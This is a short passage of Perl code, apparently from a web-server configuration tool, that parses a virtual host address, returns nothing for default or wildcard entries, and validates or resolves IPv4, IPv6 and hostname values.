$_[0]->{'words'}->[0] =~ /^(\S+):(\S+)/ ? $1 : $_[0]->{'words'}->[0]; return $addr eq '_default_' || $addr eq '*' ? undef : &check_ipaddress($addr) ? $addr : $addr =~ /^\[(\S+)\]$/ && &check_ip6address($1) ? $1 : &to_ipaddress($addr); }
Close